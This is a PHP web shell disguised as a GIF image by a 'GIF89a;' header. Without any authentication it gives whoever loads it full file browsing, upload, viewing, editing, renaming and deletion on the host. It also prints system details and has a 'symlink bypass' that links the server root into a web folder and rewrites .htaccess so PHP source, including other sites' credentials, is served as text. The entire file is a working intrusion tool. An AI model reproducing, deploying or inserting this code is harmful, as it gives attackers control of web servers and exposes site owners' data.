GIF89a;
<?php
session_start();
error_reporting(0);
set_time_limit(0);

$name = "19";
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\', '/', $path);
if (is_file($path)) $path = dirname($path);
chdir($path);

echo '<!DOCTYPE html>
<html>
<head>
    <title>'.$name.'</title>
    <style>
        body { background-color: #0c0c0c; color: #00ff00; font-family: "Courier New", Courier, monospace; margin: 0; padding: 20px; }
        h1 { text-align: center; text-shadow: 0 0 15px #00ff00; color: #00ff00; margin-bottom: 30px; }
        .info { border: 1px solid #333; padding: 15px; margin-bottom: 20px; background: #1a1a1a; border-radius: 5px; line-height: 1.6; }
        a { color: #00ff00; text-decoration: none; }
        a:hover { text-decoration: underline; color: #fff; }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; background: #111; }
        th, td { padding: 10px; border: 1px solid #333; text-align: left; }
        th { background: #222; color: #fff; }
        .dir { color: #1e90ff; font-weight: bold; }
        .file { color: #fff; }
        input[type="text"], textarea { background: #1a1a1a; color: #00ff00; border: 1px solid #00ff00; padding: 8px; width: 100%; box-sizing: border-box; }
        textarea { height: 400px; margin-top: 10px; }
        .btn { cursor: pointer; border: 1px solid #00ff00; background: #000; color: #00ff00; padding: 5px 15px; text-transform: uppercase; font-size: 12px; }
        .btn:hover { background: #00ff00; color: #000; }
        .actions a { margin-right: 10px; font-size: 12px; border: 1px solid #444; padding: 2px 5px; border-radius: 3px; }
        .actions a:hover { border-color: #00ff00; background: #003300; }
    </style>
</head>
<body>
    <h1>'.$name.'</h1>
    <div class="info">
        SYSTEM : '.php_uname().'<br>
        IP     : '.$_SERVER['SERVER_ADDR'].' | YOUR IP: '.$_SERVER['REMOTE_ADDR'].'<br>
        PATH   : ';
        $paths = explode('/', $path);
        foreach($paths as $id => $pat) {
            if($pat == '' && $id == 0) { echo '<a href="?path=/">/</a>'; continue; }
            if($pat == '') continue;
            echo '<a href="?path=';
            for($i=0; $id >= $i; $i++) { echo "/".$paths[$i]; }
            echo '">'.$pat.'</a>/';
        }
echo '</div>
    <div style="margin-bottom: 20px;">
        <form method="POST" enctype="multipart/form-data" style="display:inline;">
            <input type="file" name="f" class="btn"> <input type="submit" value="UPLOAD" class="btn">
        </form> 
        <a href="?path='.$path.'&action=symlink" class="btn">SYMLINK BYPASS</a>
    </div>';

if(isset($_FILES['f'])) {
    if(copy($_FILES['f']['tmp_name'], $path.'/'.$_FILES['f']['name'])) { echo "<p>Upload Success!</p>"; }
}

if($_GET['action'] == 'symlink') {
    @mkdir('ans_sym', 0777);
    $ht = "Options +FollowSymLinks\nDirectoryIndex default.php\nAddType text/plain .php\nAddHandler server-parsed .php";
    file_put_contents('ans_sym/.htaccess', $ht);
    @symlink('/', 'ans_sym/root');
    echo "<p>Symlink Created in /ans_sym/root</p>";
}

if($_GET['action'] == 'delete' && isset($_GET['item'])) {
    if(unlink($_GET['item'])) { header("Location: ?path=$path"); }
}

if(isset($_GET['action']) && isset($_GET['item'])) {
    $item = $_GET['item'];
    if($_GET['action'] == 'view') {
        echo '<h3>Viewing: '.$item.'</h3>
              <textarea readonly>'.htmlspecialchars(file_get_contents($item)).'</textarea>
              <br><a href="?path='.$path.'" class="btn">BACK</a>';
        exit;
    }
    if($_GET['action'] == 'edit') {
        if(isset($_POST['content'])) {
            file_put_contents($item, $_POST['content']);
            echo "<p>File Saved!</p>";
        }
        echo '<h3>Editing: '.$item.'</h3>
              <form method="POST">
                <textarea name="content">'.htmlspecialchars(file_get_contents($item)).'</textarea><br>
                <input type="submit" value="SAVE" class="btn"> <a href="?path='.$path.'" class="btn">BACK</a>
              </form>';
        exit;
    }
    if($_GET['action'] == 'rename') {
        if(isset($_POST['newname'])) {
            if(rename($item, $_POST['newname'])) { header("Location: ?path=$path"); }
        }
        echo '<h3>Rename: '.$item.'</h3>
              <form method="POST">
                <input type="text" name="newname" value="'.$item.'"><br><br>
                <input type="submit" value="RENAME" class="btn"> <a href="?path='.$path.'" class="btn">BACK</a>
              </form>';
        exit;
    }
}

$items = scandir($path);
$dirs = [];
$files = [];
foreach($items as $i) {
    if($i == "." || $i == "..") continue;
    if(is_dir($path.'/'.$i)) { $dirs[] = $i; } else { $files[] = $i; }
}

echo '<table>
    <tr><th>NAME</th><th>SIZE</th><th>ACTIONS</th></tr>';
foreach($dirs as $d) {
    echo '<tr>
        <td><a href="?path='.$path.'/'.$d.'" class="dir">[ DIR ] '.$d.'</a></td>
        <td>---</td>
        <td class="actions"><a href="?path='.$path.'&action=rename&item='.$d.'">Rename</a></td>
    </tr>';
}
foreach($files as $f) {
    $f_path = $path.'/'.$f;
    echo '<tr>
        <td class="file">'.$f.'</td>
        <td>'.round(filesize($f_path)/1024, 2).' KB</td>
        <td class="actions">
            <a href="?path='.$path.'&action=view&item='.$f_path.'">View</a>
            <a href="?path='.$path.'&action=edit&item='.$f_path.'">Edit</a>
            <a href="?path='.$path.'&action=rename&item='.$f_path.'">Rename</a>
            <a href="?path='.$path.'&action=delete&item='.$f_path.'" onclick="return confirm(\'Delete?\')">Del</a>
        </td>
    </tr>';
}
echo '</table></body></html>';
?>